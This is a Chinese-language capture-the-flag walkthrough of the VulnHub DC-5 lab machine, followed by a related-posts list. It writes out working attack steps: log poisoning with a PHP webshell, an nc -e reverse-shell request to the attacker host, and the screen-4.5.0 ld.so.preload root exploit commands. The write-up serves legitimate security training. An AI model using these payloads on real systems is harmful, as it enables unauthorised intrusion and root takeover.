准备工作

在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

探测到ip为192.168.200.16的靶机,开放了80端口和111端口

再用nmap对所有端口进行探测,确保没有别的遗漏信息  

还有一个46300端口

先访问80端口,打开网站用Wappalyzer插件查看发现是Nginx1.6.2框架

dirsearch扫描到thankyou.php文件访问发现发现下面的年份是会变化的,说明页面是动态的,猜测存在文件包含

漏洞利用——文件包含

首先先测试出文件包含的变量名,可以利用bp进行爆破,根据返回长度判断,这里就不演示了,爆破出来变量名是file

存在文件包含,读取一下日志文件,nginx默认日志文件路径为/var/log/nginx/access.log

可以看到我们刚刚的操作都给记录到日志文件中,这意味着我们可以随便输入恶意代码,利用日志文件来执行

先试试执行phpinfo()看看

虽然显示404但是我们的操作已经记录到日志文件中了,现在打开日志文件看看,拉到最下面,phpinfo()被成功执行!

写入一句话木马<?php eval($_POST['test']);?>  然后用weevely连接,但是连接失败了,可能这个工具必须要用它生成的木马才能连接,但是他的木马太长了,没有办法使用。按道理来说使用蚁剑应该也可以连上,但是我采取了另一种方法

写入 <?php system($_GET['cmd']); ?> 执行系统命令

在终端使用nc进行监听 nc -lvp 9999

在访问这个,反弹shell

http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999

使用python 通过pty.spawn()获得交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

权限肯定是不够的接下来进行提权

权限提升

首先查看一下root权限用户  

find / -perm -u=s -type f 2>/dev/null

这里看到一个/bin/screen-4.5.0,查找一下screen-4.5.0的漏洞

发现有权限提升漏洞

打开sh文件查看 vi /usr/share/exploitdb/exploits/linux/local/41154.sh

看内容应该是两段代码,创建新的文件,放入tmp文件夹,分别编译一下

gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c  
gcc -o tmp/rootshell tmp/rootshell.c

  

然后在靶机使用scp远程下载kali编译好的文件

scp root@192.168.200.6:/root/tmp/libhax.so /tmp/
scp root@192.168.200.6:/root/tmp/rootshell /tmp/

如果kali没有开启ssh服务参考以下文章kali使用ssh进行登录_csdnmmd的博客-CSDN博客_kali ssh连接

文件上传好了之后查看刚刚的漏洞使用方法进行提权

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
~

获得root权限,过关

参考文章

DC5-靶机_Au-CSDN博客_dc5靶机

DC-5靶机 - bingtanghulu - 博客园 (cnblogs.com)

vulnhub-DC:5靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. ClickHouse学习系列之四【副本&分片部署说明】

    背景 以前介绍过ClickHouse相关的系列文章,现在继续说明.本文开始说明ClickHouse的副本与分片,和其他数据库一样,ClickHouse也会出现单节点故障和单节点资源到达上限的情况.所以 ...

  2. 测试MySQL锁的问题

    测试MySQL锁的问题 目录 测试MySQL锁的问题 1 Record Lock 2 Next-Key Lock 2 死锁测试 InnoDB支持三种行锁: Record Lock:单个行记录上面的锁 ...

  3. 《MySQL面试小抄》索引失效场景验证

    我是肥哥,一名不专业的面试官! 我是囧囧,一名积极找工作的小菜鸟! 囧囧表示:小白面试最怕的就是面试官问的知识点太笼统,自己无法快速定位到关键问题点!!! 本期主要面试考点 面试官考点之什么情况下会索 ...

  4. Prometheus+Grafana企业监控系统

    Prometheus+Grafana企业监控系统 作者 刘畅 实验配置: 主机名称 Ip地址 controlnode 172.16.1.70/24 slavenode1 172.16.1.71/24 ...

  5. 9.6、zabbix监控总结

    1.自动发现和自动注册的区别: (1)自动发现: 1)用于zabbix-agent的被动模式,是zabbix-server主动去添加主机.在web上创建自动发现的规则 后,zabbix-server会 ...

  6. Python | 更换pip源到国内镜像

    pip国内的一些镜像 阿里云 https://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simpl ...

  7. bcprov-jdk15-145.rar

    javapdf文件操作,加密包 bcprov-jdk15-145.rar https://files.cnblogs.com/files/blogs/692137/bcprov-jdk15-145.r ...

  8. 资源:HTML调色板

    调色板路径 https://encycolorpedia.cn/

  9. Laravel使用Observer(观察者)

      1.创建observer文件,我这里是要记录仓库库存模块的操作日志,所以执行下面的语句,会在app/Observers下面创建WarehouseInventoryObserver文件. php a ...

  10. 自己动手模拟spring的IOC

    我们这里是模拟spring,主要模拟spring中的IOC功能,所以在此我们一样要在service层中定义dao的实例,当然不用new出来,我们就通过spring的IOC把这里的dao层注入进来.不要 ...